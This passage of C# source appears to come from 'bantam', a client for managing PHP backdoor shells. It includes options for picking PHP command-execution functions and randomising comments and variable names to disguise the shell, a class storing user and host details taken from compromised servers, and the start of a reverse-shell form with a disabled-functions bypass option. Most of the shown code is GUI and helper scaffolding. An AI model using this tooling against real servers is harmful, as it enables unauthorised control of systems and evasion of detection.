| /// 21 | private static readonly ReadOnlyCollection phpShellCodeExecutionVectors = new List { 22 | "system", 23 | "exec", 24 | "shell_exec", 25 | "passthru", 26 | "popen", 27 | "backticks" 28 | }.AsReadOnly(); 29 | 30 | /// 31 | /// Php Shell Code execution vectors, must represent what is within "phpShellCodeExecutionVectors" 32 | /// 33 | public enum PHP_SHELL_CODE_VECTORS 34 | { 35 | SYSTEM = 0, 36 | EXEC, 37 | SHELL_EXEC, 38 | PASSTHRU, 39 | POPEN, 40 | BACKTICKS 41 | } 42 | 43 | /// 44 | /// 45 | /// 46 | public Options() 47 | { 48 | InitializeComponent(); 49 | 50 | foreach (var shellCodeExecVec in phpShellCodeExecutionVectors) { 51 | comboBoxShellCodeExVectors.Items.Add(shellCodeExecVec); 52 | } 53 | 54 | LoadConfig(); 55 | } 56 | 57 | /// 58 | /// Default constructor 59 | /// 60 | private void LoadConfig() 61 | { 62 | checkBoxEnableLogging.Checked = Config.EnableLogging; 63 | checkBoxGlobalLogs.Checked = Config.EnableGlobalMessageBoxes; 64 | trackBarLoggingLevel.Value = (int)Config.LogLevel; 65 | 66 | checkBoxMaxExecutionTime.Checked = Config.MaxExecutionTime; 67 | checkBoxDisableErrorLogs.Checked = Config.DisableErrorLogs; 68 | textBoxMaxCookieSize.Text = Config.MaxCookieSizeB.ToString(); 69 | textBoxMaxPostSize.Text = Config.MaxPostSizeKib.ToString(); 70 | 71 | checkBoxRandomComments.Checked = Config.InjectRandomComments; 72 | trackBarCommentFrequency.Value = Config.CommentFrequency; 73 | textBoxMaxCommentLength.Text = Config.CommentMaxLength.ToString(); 74 | 75 | checkBoxRandomPhpVarNames.Checked = Config.RandomizePhpVariableNames; 76 | textBoxPhpVarNameMaxLen.Text = Config.PhpVariableNameMaxLength.ToString(); 77 | 78 | comboBoxShellCodeExVectors.SelectedIndex = Config.PhpShellCodeExectionVectorValue; 79 | 80 | textBoxTimeout.Text = Config.TimeoutMS.ToString(); 81 | } 82 | 83 | /// 84 | /// Enable random commends toggle 85 | /// 86 | /// 87 | /// 88 | private void checkBoxRandomComments_CheckedChanged(object sender, EventArgs e) 89 | { 90 | if (checkBoxRandomComments.Checked) { 91 | trackBarCommentFrequency.Enabled = true; 92 | textBoxMaxCommentLength.Enabled = true; 93 | } else { 94 | trackBarCommentFrequency.Enabled = false; 95 | textBoxMaxCommentLength.Enabled = false; 96 | } 97 | Config.InjectRandomComments = checkBoxRandomComments.Checked; 98 | } 99 | 100 | /// 101 | /// Prevent anything other than digits from being entered into the "textBoxMaxCommentLength" 102 | /// 103 | /// 104 | /// 105 | private void textBoxMaxCommentLength_KeyPress(object sender, KeyPressEventArgs e) 106 | { 107 | if (!char.IsControl(e.KeyChar) && !char.IsDigit(e.KeyChar)) { 108 | e.Handled = true; 109 | } 110 | } 111 | 112 | /// 113 | /// Prevent anything other than digits from being entered into the "textBoxPhpVarNameMaxLen" 114 | /// 115 | /// 116 | /// 117 | private void textBoxPhpVarNameMaxLen_KeyPress(object sender, KeyPressEventArgs e) 118 | { 119 | if (!char.IsControl(e.KeyChar) && !char.IsDigit(e.KeyChar)) { 120 | e.Handled = true; 121 | } 122 | } 123 | 124 | /// 125 | /// Prevent anything other than digits from being entered into the "textBoxMaxPostSize" 126 | /// 127 | /// 128 | /// 129 | private void textBoxMaxPostSize_KeyPress(object sender, KeyPressEventArgs e) 130 | { 131 | if (!char.IsControl(e.KeyChar) && !char.IsDigit(e.KeyChar)) { 132 | e.Handled = true; 133 | } 134 | } 135 | 136 | /// 137 | /// Prevent anything other than digits from being entered into the "textBoxTimeout" 138 | /// 139 | /// 140 | /// 141 | private void textBoxTimeout_keyPress(object sender, KeyPressEventArgs e) 142 | { 143 | if (!char.IsControl(e.KeyChar) && !char.IsDigit(e.KeyChar)) { 144 | e.Handled = true; 145 | } 146 | } 147 | 148 | private void checkBoxDisableErrorLogs_CheckedChanged(object sender, EventArgs e) 149 | { 150 | Config.DisableErrorLogs = checkBoxDisableErrorLogs.Checked; 151 | } 152 | 153 | private void trackBarLoggingLevel_ValueChanged(object sender, EventArgs e) 154 | { 155 | Config.LogLevel = (LogHelper.LOG_LEVEL)trackBarLoggingLevel.Value; 156 | } 157 | 158 | private void trackBarCommentFrequency_ValueChanged(object sender, EventArgs e) 159 | { 160 | Config.CommentFrequency = trackBarCommentFrequency.Value; 161 | } 162 | 163 | private void textBoxMaxCommentLength_TextChanged(object sender, EventArgs e) 164 | { 165 | if (int.TryParse(textBoxMaxCommentLength.Text, out int commentMaxLen)) { 166 | Config.CommentMaxLength = commentMaxLen; 167 | } 168 | } 169 | 170 | private void textBoxPhpVarNameMaxLen_TextChanged(object sender, EventArgs e) 171 | { 172 | if (int.TryParse(textBoxPhpVarNameMaxLen.Text, out int phpVarNameMaxLen)) { 173 | Config.PhpVariableNameMaxLength = phpVarNameMaxLen; 174 | } 175 | } 176 | 177 | private void textBoxMaxPostSize_TextChanged(object sender, EventArgs e) 178 | { 179 | if (int.TryParse(textBoxMaxPostSize.Text, out int postSize)) { 180 | Config.MaxPostSizeKib = postSize; 181 | } 182 | } 183 | 184 | private void textBoxTimeout_TextChanged(object sender, EventArgs e) 185 | { 186 | if (int.TryParse(textBoxTimeout.Text, out int timeoutMS)) { 187 | Config.TimeoutMS = timeoutMS; 188 | } 189 | } 190 | 191 | private void checkBoxEnableLogging_CheckedChanged(object sender, EventArgs e) 192 | { 193 | Config.EnableLogging = checkBoxEnableLogging.Checked; 194 | } 195 | 196 | private void checkBoxMaxExecutionTime_CheckedChanged(object sender, EventArgs e) 197 | { 198 | Config.MaxExecutionTime = checkBoxMaxExecutionTime.Checked; 199 | } 200 | 201 | private void checkBoxGlobalLogs_CheckedChanged(object sender, EventArgs e) 202 | { 203 | Config.EnableGlobalMessageBoxes = checkBoxGlobalLogs.Checked; 204 | } 205 | 206 | private void comboBoxShellCodeExVectors_SelectedIndexChanged(object sender, EventArgs e) 207 | { 208 | Config.PhpShellCodeExectionVectorValue = comboBoxShellCodeExVectors.SelectedIndex; 209 | } 210 | } 211 | } 212 | -------------------------------------------------------------------------------- /bantam/Classes/Helper.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Net; 5 | using System.Text; 6 | using System.Text.RegularExpressions; 7 | 8 | namespace bantam.Classes 9 | { 10 | static class Helper 11 | { 12 | /// 13 | /// Single shared random object for rng generation, for multi-threading / concurrent calls 14 | /// 15 | private static Random rdm = new Random(); 16 | 17 | /// 18 | /// Gets a random number between 1 and maxnumber (min & max included) 19 | /// 20 | /// 21 | public static int RandomNumber(int maxNumber) 22 | { 23 | return rdm.Next(1, maxNumber + 1); 24 | } 25 | 26 | /// 27 | /// Gets a random number as a string with a set "length" of charectors 28 | /// 29 | /// The number of charectors the number string will have 30 | public static string RandomNumberStringSetLength(int length) 31 | { 32 | StringBuilder result = new StringBuilder(); 33 | 34 | for (int i = 0; i < length; i++) { 35 | result.Append(rdm.Next(10).ToString()); 36 | } 37 | 38 | return result.ToString(); 39 | } 40 | 41 | /// 42 | /// Gets a random number as a string with a "maxLength" of charectors 43 | /// 44 | /// The maximum number of charectors the number string can have 45 | public static string RandomNumberStringMaxLength(int maxLength) 46 | { 47 | StringBuilder result = new StringBuilder(); 48 | int length = rdm.Next(1, maxLength); 49 | 50 | for (int i = 0; i < length; i++) { 51 | result.Append(rdm.Next(10).ToString()); 52 | } 53 | 54 | return result.ToString(); 55 | } 56 | 57 | /// 58 | /// Build a random string of a charectors at a fixed length, with or without numbers and a few special chars 59 | /// 60 | /// 61 | /// 62 | /// 63 | /// 64 | /// 65 | public static string RandomString(int length, bool capitals = true, bool numbers = false, bool special = false) 66 | { 67 | var charSet = "abcdefghijklmnopqrstuvwxyz"; 68 | 69 | if (capitals) { 70 | charSet += "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; 71 | } 72 | 73 | if (numbers) { 74 | charSet += "0123456789"; 75 | } 76 | 77 | if (special) { 78 | charSet += "!#$%&()*+,-."; 79 | } 80 | 81 | StringBuilder stringResult = new StringBuilder(); 82 | 83 | for (int i = 0; i < length; i++) { 84 | stringResult.Append(charSet[rdm.Next(charSet.Length)]); 85 | } 86 | return stringResult.ToString(); 87 | } 88 | 89 | 90 | /// 91 | /// Converts a standard string into a base64 string 92 | /// 93 | /// The input string to be converted to base64 94 | public static string EncodeBase64ToString(string str) 95 | { 96 | if (string.IsNullOrEmpty(str)) { 97 | return String.Empty; 98 | } 99 | 100 | string b64Code = Convert.ToBase64String(Encoding.UTF8.GetBytes(str)); 101 | return b64Code; 102 | } 103 | 104 | /// 105 | /// Decodes a base64 string to a string after validating and attempting to clean it 106 | /// 107 | /// 108 | /// 109 | public static string DecodeBase64ToString(string str) 110 | { 111 | if (string.IsNullOrEmpty(str)) { 112 | return string.Empty; 113 | } 114 | 115 | string cleanB64 = str; 116 | 117 | if (!Regex.IsMatch(str, @"^[a-zA-Z0-9\+/]*={0,2}$")) { 118 | cleanB64 = Regex.Replace(str, "[^a-zA-Z0-9+=/]", string.Empty); 119 | } 120 | 121 | try { 122 | return Encoding.UTF8.GetString(Convert.FromBase64String(cleanB64)); 123 | } 124 | catch (Exception) { 125 | LogHelper.AddGlobalLog("Unable to decode input string with base64 (" + str + ")", "Base64 Decode failure", LogHelper.LOG_LEVEL.WARNING); 126 | return string.Empty; 127 | } 128 | } 129 | 130 | /// 131 | /// Decodes a base64 string to a byte array+ after validating and attempting to clean it 132 | /// 133 | /// 134 | /// 135 | public static byte[] DecodeBase64(string str) 136 | { 137 | if (string.IsNullOrEmpty(str)) { 138 | return null; 139 | } 140 | 141 | string cleanB64 = str; 142 | 143 | if (!Regex.IsMatch(str, @"^[a-zA-Z0-9\+/]*={0,2}$")) { 144 | cleanB64 = Regex.Replace(str, "[^a-zA-Z0-9+=/]", string.Empty); 145 | } 146 | 147 | try { 148 | var decbuff = Convert.FromBase64String(cleanB64); 149 | return decbuff; 150 | } 151 | catch (Exception) { 152 | LogHelper.AddGlobalLog("Unable to decode input string with base64 (" + str + ")", "Base64 Decode failure", LogHelper.LOG_LEVEL.WARNING); 153 | return null; 154 | } 155 | } 156 | 157 | /// 158 | /// Removes tabs, new lines, dirty charectors and whitespace from a string 159 | /// 160 | /// 161 | /// string clean and minified 162 | public static string MinifyCode(string code) 163 | { 164 | string result = string.Empty; 165 | result = Regex.Replace(code, @"\t|\n|\r", string.Empty); 166 | result = Regex.Replace(result, @"[^\u0000-\u007F]+", string.Empty); 167 | return Regex.Replace(result, @"\s+", " "); 168 | } 169 | 170 | /// 171 | /// Gets a random value from a given dictionary 172 | /// 173 | /// 174 | /// 175 | /// 176 | /// 177 | public static TKey RandomDictionaryValue(Dictionary dict) 178 | { 179 | List keyList = new List(dict.Keys); 180 | return keyList[rdm.Next(keyList.Count)]; 181 | } 182 | 183 | /// 184 | /// Takes a number of bytes and returns a formatted human readable form 185 | /// 186 | /// 187 | /// 188 | public static string FormatBytes(double bytesIn) 189 | { 190 | int i = 0; 191 | double resultBytes = bytesIn; 192 | string[] suffixes = { "B", "KiB", "MiB", "GiB", "TiB" }; 193 | 194 | for (; i < suffixes.Length && resultBytes >= 1024; i++) { 195 | resultBytes /= 1024; 196 | } 197 | 198 | if (i < suffixes.Length) { 199 | return String.Format("{0:0.##} {1}", resultBytes, suffixes[i]); 200 | } 201 | return "0"; 202 | } 203 | 204 | /// 205 | /// Shuffles a given list 206 | /// 207 | /// 208 | /// 209 | public static void ShuffleList(IList list) 210 | { 211 | int count = list.Count; 212 | for (int i = count - 1; i > 1; i--) { 213 | int rnd = rdm.Next(i + 1); 214 | 215 | T val = list[rnd]; 216 | list[rnd] = list[i]; 217 | list[i] = val; 218 | } 219 | } 220 | 221 | /// 222 | /// Validates a given URI 223 | /// 224 | /// 225 | /// 226 | public static bool IsValidUri(string uri) 227 | { 228 | if (string.IsNullOrEmpty(uri)) { 229 | return false; 230 | } 231 | 232 | bool uriResult = Uri.TryCreate(uri, UriKind.RelativeOrAbsolute, out Uri tempUri); 233 | return uriResult; 234 | } 235 | 236 | /// 237 | /// Validates an IPv4 address 238 | /// 239 | /// 240 | /// 241 | public static bool IsValidIPv4(string ipaddr) 242 | { 243 | if (string.IsNullOrEmpty(ipaddr)) { 244 | return false; 245 | } 246 | 247 | if (ipaddr.Count(needle => needle == '.') != 3) { 248 | return false; 249 | } 250 | 251 | return (IPAddress.TryParse(ipaddr, out IPAddress result)); 252 | } 253 | } 254 | } 255 | -------------------------------------------------------------------------------- /bantam/Classes/GuiHelper.cs: -------------------------------------------------------------------------------- 1 | using System.Windows.Forms; 2 | 3 | namespace bantam.Classes 4 | { 5 | static class GuiHelper 6 | { 7 | /// 8 | /// Gets the first selected item from the specified ListView 9 | /// 10 | /// 11 | /// 12 | public static ListViewItem GetFirstSelectedListview(ListView lv) 13 | { 14 | if (lv.SelectedItems.Count > 0) { 15 | foreach (ListViewItem lvi in lv.SelectedItems) { 16 | return lvi; 17 | } 18 | } 19 | return null; 20 | } 21 | 22 | /// 23 | /// Recursively copies all the Treeview Nodes from the source to the dest 24 | /// 25 | /// 26 | /// 27 | public static void CopyNodesFromTreeView(TreeView source, TreeView dest) 28 | { 29 | if (source != null && dest != null) { 30 | foreach (TreeNode tn in source.Nodes) { 31 | TreeNode newTn = new TreeNode(tn.Text, tn.ImageIndex, tn.ImageIndex) { 32 | ForeColor = tn.ForeColor, 33 | Name = tn.Name 34 | }; 35 | CopyChildrenFromTreeViewNode(newTn, tn); 36 | dest.Nodes.Add(newTn); 37 | } 38 | } 39 | } 40 | 41 | /// 42 | /// Recursively copies Treeview Child Nodes 43 | /// 44 | /// 45 | /// 46 | public static void CopyChildrenFromTreeViewNode(TreeNode parent, TreeNode willCopied) 47 | { 48 | foreach (TreeNode tn in willCopied.Nodes) { 49 | TreeNode newTn = new TreeNode(tn.Text, tn.ImageIndex, tn.ImageIndex) { 50 | ForeColor = tn.ForeColor, 51 | Name = tn.Name 52 | }; 53 | CopyChildrenFromTreeViewNode(newTn, tn); 54 | parent.Nodes.Add(newTn); 55 | } 56 | } 57 | 58 | /// 59 | /// 60 | /// 61 | /// 62 | /// 63 | /// 64 | /// 65 | public static Form BuildForm(string title, int width, int height) 66 | { 67 | Form prompt = new Form { 68 | Width = width, 69 | Height = height, 70 | FormBorderStyle = FormBorderStyle.FixedSingle, 71 | Text = title, 72 | StartPosition = FormStartPosition.CenterScreen, 73 | MinimumSize = new System.Drawing.Size(width, height) 74 | }; 75 | return prompt; 76 | } 77 | 78 | /// 79 | /// 80 | /// 81 | /// 82 | /// 83 | /// 84 | public static string UserAgentSwitcher(string currentUserAgent, string windowTitle) 85 | { 86 | Form prompt = BuildForm(windowTitle, 500, 150); 87 | 88 | Label textLabel = new Label { 89 | Left = 17, 90 | Top = 20, 91 | Text = currentUserAgent, 92 | Width = 450 93 | }; 94 | 95 | TextBox textBox = new TextBox { 96 | Left = 17, 97 | Top = 50, 98 | Width = 450 99 | }; 100 | 101 | Button cancel = new Button { 102 | Text = "Cancel", 103 | Left = 200, 104 | Width = 100, 105 | Top = 80, 106 | DialogResult = DialogResult.Cancel 107 | }; 108 | 109 | Button randomize = new Button { 110 | Text = "Random", 111 | Left = 300, 112 | Width = 100, 113 | Top = 80, 114 | }; 115 | 116 | Button confirmation = new Button { 117 | Text = "Ok", 118 | Left = 400, 119 | Width = 50, 120 | Top = 80, 121 | DialogResult = DialogResult.OK 122 | }; 123 | 124 | randomize.Click += (sender, e) => 125 | { 126 | int randomUserAgentDictIndex = Helper.RandomDictionaryValue(WebRequestHelper.commonUseragents); 127 | textBox.Text = WebRequestHelper.commonUseragents[randomUserAgentDictIndex]; 128 | }; 129 | 130 | cancel.Click += (sender, e) => { prompt.Close(); }; 131 | confirmation.Click += (sender, e) => { prompt.Close(); }; 132 | 133 | prompt.Controls.Add(confirmation); 134 | prompt.Controls.Add(randomize); 135 | prompt.Controls.Add(textLabel); 136 | prompt.Controls.Add(textBox); 137 | prompt.Controls.Add(cancel); 138 | prompt.AcceptButton = confirmation; 139 | 140 | return prompt.ShowDialog() == DialogResult.OK ? textBox.Text : string.Empty; 141 | } 142 | 143 | /// 144 | /// 145 | /// 146 | /// 147 | /// 148 | /// 149 | public static string RenameFileDialog(string oldFileName, string windowTitle) 150 | { 151 | Form prompt = BuildForm(windowTitle, 500, 150); 152 | 153 | Label textLabel = new Label { 154 | Left = 50, 155 | Top = 20, 156 | Text = oldFileName, 157 | Width = 400 158 | }; 159 | 160 | TextBox textBox = new TextBox { 161 | Left = 50, 162 | Top = 50, 163 | Width = 400 164 | }; 165 | 166 | Button cancel = new Button { 167 | Text = "Cancel", 168 | Left = 300, 169 | Width = 100, 170 | Top = 70, 171 | DialogResult = DialogResult.Cancel 172 | }; 173 | 174 | Button confirmation = new Button { 175 | Text = "Ok", 176 | Left = 400, 177 | Width = 50, 178 | Top = 70, 179 | DialogResult = DialogResult.OK 180 | }; 181 | 182 | confirmation.Click += (sender, e) => { prompt.Close(); }; 183 | cancel.Click += (sender, e) => { prompt.Close(); }; 184 | 185 | prompt.Controls.Add(textLabel); 186 | prompt.Controls.Add(confirmation); 187 | prompt.Controls.Add(textBox); 188 | prompt.Controls.Add(cancel); 189 | prompt.AcceptButton = confirmation; 190 | 191 | return prompt.ShowDialog() == DialogResult.OK ? textBox.Text : string.Empty; 192 | } 193 | 194 | /// 195 | /// 196 | /// 197 | /// 198 | /// 199 | public static RichTextBox RichTextBoxDialog(string windowTitle, string text) 200 | { 201 | Form prompt = BuildForm(windowTitle, 500, 500); 202 | 203 | RichTextBox richTextBox = new RichTextBox { 204 | Left = 10, 205 | Top = 10, 206 | Width = 470, 207 | Height = 440, 208 | Text = text, 209 | ReadOnly = true 210 | }; 211 | 212 | richTextBox.WordWrap = false; 213 | richTextBox.ScrollBars = RichTextBoxScrollBars.Vertical | RichTextBoxScrollBars.Horizontal; 214 | richTextBox.Anchor = AnchorStyles.Bottom | AnchorStyles.Right | AnchorStyles.Left | AnchorStyles.Top; 215 | 216 | prompt.Controls.Add(richTextBox); 217 | prompt.Show(); 218 | 219 | return richTextBox; 220 | } 221 | 222 | /// 223 | /// Returns a string of PHP code 224 | /// 225 | /// 226 | /// 227 | /// 228 | /// 229 | public static string RichTextBoxEvalEditor(string windowTitle, string text, ref bool showResponse) 230 | { 231 | Form prompt = BuildForm(windowTitle, 500, 520); 232 | 233 | RichTextBox richTextBox = new RichTextBox { 234 | Left = 10, 235 | Top = 10, 236 | Width = 470, 237 | Height = 440, 238 | Text = text 239 | }; 240 | 241 | Button confirmation = new Button { 242 | Text = "Ok", 243 | Left = 380, 244 | Width = 100, 245 | Top = 455, 246 | DialogResult = DialogResult.OK, 247 | Anchor = AnchorStyles.Right | AnchorStyles.Bottom 248 | }; 249 | 250 | CheckBox chkbxShowResponse = new CheckBox { 251 | Text = "Show Response", 252 | Left = 25, 253 | Top = 455, 254 | Checked = showResponse, 255 | Anchor = AnchorStyles.Left | AnchorStyles.Bottom 256 | }; 257 | 258 | bool chkboxResult = showResponse; 259 | chkbxShowResponse.CheckedChanged += (sender, e) => { chkboxResult = chkbxShowResponse.Checked; }; 260 | 261 | richTextBox.WordWrap = false; 262 | richTextBox.ScrollBars = RichTextBoxScrollBars.Vertical | RichTextBoxScrollBars.Horizontal; 263 | richTextBox.Anchor = AnchorStyles.Bottom | AnchorStyles.Right | AnchorStyles.Left | AnchorStyles.Top; 264 | 265 | prompt.Controls.Add(richTextBox); 266 | prompt.Controls.Add(confirmation); 267 | prompt.Controls.Add(chkbxShowResponse); 268 | 269 | string result = prompt.ShowDialog() == DialogResult.OK ? richTextBox.Text : string.Empty; 270 | 271 | confirmation.Click += (sender, e) => { prompt.Close(); }; 272 | 273 | showResponse = chkboxResult; 274 | 275 | return result; 276 | } 277 | } 278 | } 279 | -------------------------------------------------------------------------------- /bantam/Classes/ShellInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Diagnostics; 2 | using System.Windows.Forms; 3 | 4 | namespace bantam.Classes 5 | { 6 | public class ShellInfo 7 | { 8 | /// 9 | /// Default data vars that are sent on connection success in the order they are parsed 10 | /// 11 | public enum INIT_DATA_VARS 12 | { 13 | OS = 0, 14 | CWD, 15 | FREE_SPACE, 16 | TOTAL_SPACE, 17 | RELEASE, 18 | KERNEL, 19 | SERVER_IP, 20 | SERVER_SOFTWARE, 21 | USER, 22 | UID, 23 | GID, 24 | GROUP, 25 | PHP_VERSION 26 | } 27 | 28 | /// 29 | /// 30 | /// 31 | /// 32 | /// 33 | public void InitializeShellData(long ping, string[] data) 34 | { 35 | Ping = ping; 36 | files = new TreeView(); 37 | pwd = data[(int)INIT_DATA_VARS.CWD]; 38 | freeHDDSpace = data[(int)INIT_DATA_VARS.FREE_SPACE]; 39 | totalHDDSpace = data[(int)INIT_DATA_VARS.TOTAL_SPACE]; 40 | unameRelease = data[(int)INIT_DATA_VARS.RELEASE]; 41 | unameKernel = data[(int)INIT_DATA_VARS.KERNEL]; 42 | ip = data[(int)INIT_DATA_VARS.SERVER_IP]; 43 | serverSoftware = data[(int)INIT_DATA_VARS.SERVER_SOFTWARE]; 44 | user = data[(int)INIT_DATA_VARS.USER]; 45 | uid = data[(int)INIT_DATA_VARS.UID]; 46 | gid = data[(int)INIT_DATA_VARS.GID]; 47 | group = data[(int)INIT_DATA_VARS.GROUP]; 48 | PHP_Version = data[(int)INIT_DATA_VARS.PHP_VERSION]; 49 | isWindows = (data[(int)INIT_DATA_VARS.OS] == "win") ? true : false; 50 | cwd = pwd; 51 | } 52 | 53 | /// 54 | /// 55 | /// 56 | private long Ping { 57 | get; set; 58 | } 59 | 60 | /// 61 | /// 62 | /// 63 | private bool isWindows; 64 | 65 | public bool IsWindows { 66 | get { 67 | return isWindows; 68 | } 69 | } 70 | 71 | /// 72 | /// 73 | /// 74 | private string cwd; 75 | 76 | public string Cwd { 77 | get { 78 | return cwd; 79 | } 80 | } 81 | 82 | /// 83 | /// 84 | /// 85 | private string pwd; 86 | 87 | public string Pwd { 88 | get { 89 | return pwd; 90 | } 91 | set { 92 | pwd = value; 93 | } 94 | } 95 | 96 | /// 97 | /// 98 | /// 99 | private string freeHDDSpace; 100 | 101 | public string FreeHDDSpace { 102 | get { 103 | return freeHDDSpace; 104 | } 105 | } 106 | 107 | /// 108 | /// 109 | /// 110 | private string totalHDDSpace; 111 | 112 | public string TotalHDDSpace { 113 | get { 114 | return totalHDDSpace; 115 | } 116 | } 117 | 118 | /// 119 | /// 120 | /// 121 | private string unameRelease; 122 | 123 | public string UnameRelease { 124 | get { 125 | return unameRelease; 126 | } 127 | } 128 | 129 | /// 130 | /// 131 | /// 132 | private string unameKernel; 133 | 134 | public string UnameKernel { 135 | get { 136 | return unameKernel; 137 | } 138 | } 139 | 140 | /// 141 | /// 142 | /// 143 | private string ip; 144 | 145 | public string Ip { 146 | get { 147 | return ip; 148 | } 149 | } 150 | 151 | /// 152 | /// 153 | /// 154 | private string serverSoftware; 155 | 156 | public string ServerSoftware { 157 | get { 158 | return serverSoftware; 159 | } 160 | } 161 | 162 | /// 163 | /// 164 | /// 165 | private string user; 166 | 167 | public string User { 168 | get { 169 | return user; 170 | } 171 | } 172 | 173 | /// 174 | /// 175 | /// 176 | private string uid; 177 | 178 | public string Uid { 179 | get { 180 | return uid; 181 | } 182 | } 183 | 184 | /// 185 | /// 186 | /// 187 | private string gid; 188 | 189 | public string Gid { 190 | get { 191 | return gid; 192 | } 193 | } 194 | 195 | /// 196 | /// 197 | /// 198 | private string group; 199 | 200 | public string Group { 201 | get { 202 | return group; 203 | } 204 | } 205 | 206 | /// 207 | /// 208 | /// 209 | private string PHP_Version; 210 | 211 | public string PHP_VERSION { 212 | get { 213 | return PHP_Version; 214 | } 215 | } 216 | 217 | /// 218 | /// Stores the console richtextbox string 219 | /// 220 | private string consoleText; 221 | 222 | public string ConsoleText { 223 | get { 224 | return consoleText; 225 | } 226 | set { 227 | consoleText = value; 228 | } 229 | } 230 | 231 | /// 232 | /// Stores the logs richtextbox string 233 | /// 234 | private string logText; 235 | 236 | public string LogText { 237 | get { 238 | return logText; 239 | } 240 | set { 241 | logText = value; 242 | } 243 | } 244 | 245 | /// 246 | /// 247 | /// 248 | private TreeView files; 249 | 250 | public TreeView Files { 251 | get { 252 | return files; 253 | } 254 | } 255 | 256 | /// 257 | /// 258 | /// 259 | private Stopwatch pingStopwatch; 260 | 261 | public Stopwatch PingStopwatch { 262 | set { 263 | pingStopwatch = value; 264 | } 265 | get { 266 | return pingStopwatch; 267 | } 268 | } 269 | 270 | /// 271 | /// If true the client target/host is DOWN 272 | /// 273 | private bool down; 274 | 275 | public bool Down { 276 | get { 277 | return down; 278 | } 279 | set { 280 | down = value; 281 | } 282 | } 283 | 284 | /// 285 | /// If TRUE request's to this target/client will be sent via [GET] using a [COOKIE] to communicate data, if FALSE it will use a [POST] request 286 | /// 287 | private bool sendDataViaCookie; 288 | 289 | public bool SendDataViaCookie { 290 | get { 291 | return sendDataViaCookie; 292 | } 293 | set { 294 | sendDataViaCookie = value; 295 | } 296 | } 297 | 298 | /// 299 | /// 300 | /// 301 | private bool responseEncryption = true; 302 | 303 | public bool ResponseEncryption { 304 | get { 305 | return responseEncryption; 306 | } 307 | set { 308 | responseEncryption = value; 309 | } 310 | } 311 | 312 | public int ResponseEncryptionMode { 313 | get; set; 314 | } 315 | 316 | /// 317 | /// 318 | /// 319 | private bool requestEncryption; 320 | 321 | public bool RequestEncryption { 322 | get { 323 | return requestEncryption; 324 | } 325 | set { 326 | requestEncryption = value; 327 | } 328 | } 329 | 330 | /// 331 | /// 332 | /// 333 | private string requestEncryptionKey; 334 | 335 | public string RequestEncryptionKey { 336 | get { 337 | return requestEncryptionKey; 338 | } 339 | set { 340 | requestEncryptionKey = value; 341 | } 342 | } 343 | 344 | /// 345 | /// 346 | /// 347 | private string requestEncryptionIV; 348 | 349 | public string RequestEncryptionIV { 350 | get { 351 | return requestEncryptionIV; 352 | } 353 | set { 354 | requestEncryptionIV = value; 355 | } 356 | } 357 | 358 | /// 359 | /// 360 | /// 361 | private bool sendRequestEncryptionIV; 362 | 363 | public bool SendRequestEncryptionIV { 364 | get { 365 | return sendRequestEncryptionIV; 366 | } 367 | set { 368 | sendRequestEncryptionIV = value; 369 | } 370 | } 371 | 372 | /// 373 | /// 374 | /// 375 | private string requestEncryptionIVRequestVarName; 376 | 377 | public string RequestEncryptionIVRequestVarName { 378 | get { 379 | return requestEncryptionIVRequestVarName; 380 | } 381 | set { 382 | requestEncryptionIVRequestVarName = value; 383 | } 384 | } 385 | 386 | /// 387 | /// If true the request data is gzcompressed, the bantam shell it is communicating with must decompress the data 388 | /// 389 | private bool gzipRequestData; 390 | 391 | public bool GzipRequestData { 392 | get { 393 | return gzipRequestData; 394 | } 395 | set { 396 | gzipRequestData = value; 397 | } 398 | } 399 | 400 | /// 401 | /// Name of the cookie or post argument used to send data to target/hostTargets 402 | /// 403 | private string requestArgName = "command"; 404 | 405 | public string RequestArgName { 406 | get { 407 | return requestArgName; 408 | } 409 | set { 410 | requestArgName = value; 411 | } 412 | } 413 | } 414 | } 415 | -------------------------------------------------------------------------------- /bantam/Forms/ReverseShell.Designer.cs: -------------------------------------------------------------------------------- 1 | namespace bantam.Forms 2 | { 3 | partial class ReverseShell 4 | { 5 | /// 6 | /// Required designer variable. 7 | /// 8 | private System.ComponentModel.IContainer components = null; 9 | 10 | /// 11 | /// Clean up any resources being used. 12 | /// 13 | /// true if managed resources should be disposed; otherwise, false. 14 | protected override void Dispose(bool disposing) 15 | { 16 | if (disposing && (components != null)) { 17 | components.Dispose(); 18 | } 19 | base.Dispose(disposing); 20 | } 21 | 22 | #region Windows Form Designer generated code 23 | 24 | /// 25 | /// Required method for Designer support - do not modify 26 | /// the contents of this method with the code editor. 27 | /// 28 | private void InitializeComponent() 29 | { 30 | this.labelIP = new System.Windows.Forms.Label(); 31 | this.buttonGetIpv4 = new System.Windows.Forms.Button(); 32 | this.textBoxIP = new System.Windows.Forms.TextBox(); 33 | this.textBoxPort = new System.Windows.Forms.TextBox(); 34 | this.label1 = new System.Windows.Forms.Label(); 35 | this.labelMethod = new System.Windows.Forms.Label(); 36 | this.comboBoxMethod = new System.Windows.Forms.ComboBox(); 37 | this.btnPopShell = new System.Windows.Forms.Button(); 38 | this.checkBoxDisabledFunctionsBypass = new System.Windows.Forms.CheckBox(); 39 | this.comboBoxArch = new System.Windows.Forms.ComboBox(); 40 | this.label7 = new System.Windows.Forms.Label(); 41 | this.lblStatus = new System.Windows.Forms.Label(); 42 | this.checkBoxLogShellCode = new System.Windows.Forms.CheckBox(); 43 | this.SuspendLayout(); 44 | // 45 | // labelIP 46 | // 47 | this.labelIP.AutoSize = true; 48 | this.labelIP.Location = new System.Drawing.Point(12, 22); 49 | this.labelIP.Name = "labelIP"; 50 | this.labelIP.Size = new System.Drawing.Size(21, 16); 51 | this.labelIP.TabIndex = 0; 52 | this.labelIP.Text = "IP:"; 53 | // 54 | // buttonGetIpv4 55 | // 56 | this.buttonGetIpv4.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); 57 | this.buttonGetIpv4.Location = new System.Drawing.Point(294, 16); 58 | this.buttonGetIpv4.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); 59 | this.buttonGetIpv4.Name = "buttonGetIpv4"; 60 | this.buttonGetIpv4.Size = new System.Drawing.Size(105, 28); 61 | this.buttonGetIpv4.TabIndex = 1; 62 | this.buttonGetIpv4.Text = "Get My IPv4"; 63 | this.buttonGetIpv4.UseVisualStyleBackColor = true; 64 | 